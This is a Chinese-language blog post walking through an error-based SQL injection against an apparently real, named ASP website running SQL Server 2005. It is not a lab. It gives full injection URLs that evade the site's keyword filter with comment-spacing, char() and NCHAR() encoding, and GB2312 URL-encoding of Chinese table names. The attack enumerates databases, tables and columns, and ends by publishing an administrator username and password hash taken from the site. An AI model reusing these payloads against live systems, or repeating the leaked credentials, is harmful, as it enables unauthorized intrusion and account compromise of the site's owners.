mssql有趣的注入 - niexinming

qq_27446553發表於2016-02-25
這個注入點:http://www.mydcis.net/temp.asp?ID=1
這個網站有sql注入,但是他會攔截空格,單引號,分號,而且括號後面不能有字母,如果有的話,他會攔截,並且提示:

本操作將可能危害資料安全, 請確認你提交的資訊。
有任何問題請聯絡系統管理員。

首先用order by 探測欄位數,發現有45個欄位,這個手工不太適合,但是這個網站可以顯錯,所以,我們用報錯注入
【1】首先我們看看他是什麼版本的資料庫,
http://www.mydcis.net/temp.asp?ID=@@version
由於這個是數字型的注入,所以我們不用引號將其閉合,而且我們在這裡直接輸入@@vesion就會報錯
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.1399.06 (X64) Oct 14 2005 00:35:21 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) ' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
【2】當前資料庫:
http://www.mydcis.net/temp.asp?ID=db_name()
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 'Web' 轉換成資料型別 int 時失敗。
/temp.asp,行 25

這裡有個小技巧,就是向db_name()中傳遞引數可以查其他的資料庫,比如:
http://www.mydcis.net/temp.asp?ID=db_name(1)
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 'master' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
這個遞增這個數字就可以查詢了

【2】我們查詢Web的表,也就是當前資料庫的表:
由於不能使用單引號,所以,
select top 1 name from 資料庫.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('表名')
這樣的就用不了,我們這個時候就要用到資料庫的分頁查詢來遍歷資料庫的表名:
首先是是分頁的原理:
這個帖子http://www.cnblogs.com/Bulid-For-NET/archive/2012/12/16/2820097.html
裡面列舉了四種分頁的效果
我選
select top 10 *
from
(
select row_number() over(order by id) as rownumber,* from test
) A
where rownumber > 40

這個方法來做分頁
於是我們可以這樣爆第一個表:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/Web.sys.all_objects/**/where/**/type=char(85))A/**/where/**/rownumber>=1/**/and/**/rownumber<=1)>0
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 '上傳檔案' 轉換成資料型別 int 時失敗。
/temp.asp,行 25

爆第二個表:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/Web.sys.all_objects/**/where/**/type=char(85))A/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0

報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 '友情連結' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
然後我爆到了:管理帳戶,這個表
對了,這裡有個小技巧,就是,上面爆表中的其中有有一個地方本來是這樣寫的where type='U',但是由於不能出單引號,所以要這樣寫:
where type=char(85)

【3】爆欄位:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/COLUMN_NAME/**/from(/**/select/**/row_number()/**/over(/**/order/**/by/**/ORDINAL_POSITION)/**/as/**/rownumber,*/**/from/**/Web.information_schema.columns/**/where/**/TABLE_NAME=NCHAR(31649)%2bNCHAR(29702)%2bnchar(24080)%2bnchar(25143))/**/A/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 '使用者名稱' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
這個有個小技巧,由於這裡的表名是中文:
所以,我們查表的時候:要用到sql server的unicode和nchar這兩個函式
首先,我們在sql server中的企業管理器中查詢做這樣的查詢:select unicode('管'),得到的結果是 31649,然後我們依次查詢出來:
“管理帳戶”這四個字的值:
然後我們再用四個值用nchar 轉換出來看看效果:
select NCHAR(31649)+NCHAR(29702)+nchar(24080)+nchar(25143)

結果:
管理賬戶

ok,好了,就這樣拼到“where TABLE_NAME=”
後面做查詢。
這裡依然有個小技巧:
在實際注入的時候不能使用“+”這個符號
要用%2b做代替

我爆到資料庫 Web,表為:管理帳戶 的欄位為:

編號 使用者名稱 前臺使用者名稱 密碼 姓名 電話 最後時間 網站程式碼
【4】爆資料:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/%d3%c3%bb%a7%c3%fb/**/from/**/%b9%dc%c0%ed%d5%ca%bb%a7)>0
由於這裡面的表名和欄位名都是中文
所以我們在這裡做一些urlencode編碼的轉換

http://tool.chinaz.com/Tools/URLEncode.aspx
這個網站提供這樣的轉換,我們在這裡選擇gb2312,然後將中文轉換為對應的url編碼


然後就可以查出資料了:

使用者名稱:
stgst
密碼:
3f9aa31e9b129d97

相關文章